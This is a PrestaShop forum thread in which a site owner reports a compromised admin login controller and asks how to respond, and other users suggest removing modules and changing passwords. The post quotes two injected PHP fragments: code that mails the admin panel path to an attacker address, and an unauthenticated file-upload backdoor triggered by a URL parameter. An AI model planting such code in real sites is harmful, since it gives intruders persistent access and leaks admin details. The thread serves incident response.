LoginAdminController.php hacked?

[Jon T]

I maintain a prestashop site (version. 1.6.0.14) which appears to be recently infected. I noticed a php error on the login screen and on closer inspection, file LoginAdminController.php contained some additional code which looks suspicious.

 

The php error occurred just after an SSL certicate was installed. I replaced the file with the original which fixes the problem but unfortunately the problem seems to reoccur. Here is the 2 snippets of code that have been appearing (email addresses and names edited out):

 

$to = "*******@*******"; 
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <*******@******>";

$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

and

if($_GET['up']){
if(isset($_POST['Submit'])){
$filedir = ""; 
$maxfile = '2000000';
$mode = '0644';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if(isset($_FILES['image']['name'])) {
$qx = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $qx);
@chmod ($qx, octdec($mode));
echo"<center><b>Done ==> $userfile_name</b></center>";

 

Tech support at the hosting company say it is an injection and cannot explain where it has come from.

 

Can anyone shed any light on this and perhaps recommend a course of action? 

[shokinro]

have you installed any new 3rd party modules free modules recently?

if so, you may consider to uninstall and remove the module and also please try to change your store admin password as soon as possible.

Edited July 21, 2016 by shokinro (see edit history)

[shokinro]

Tech support at the hosting company say it is an injection and cannot explain where it has come from.

 

 

 

Are they able to find out who modified file?  It is from the user account or ftp access account?

 

You can find what files have been changed from your store back office - Advanced Parameters - Configuration.

It may have you figured out something and recover the files.

[Jon T]

Hi Shokinro,

 

Thanks for your quick reply. 

 

I can confirm that all passwords (User Accounts and FTP) have been changed and, no, there are no free 3rd-party modules installed.

 

I have asked tech support if they can find out who/what changed the file. 

[shokinro]

hope you can figured out something and prevent it from happening again.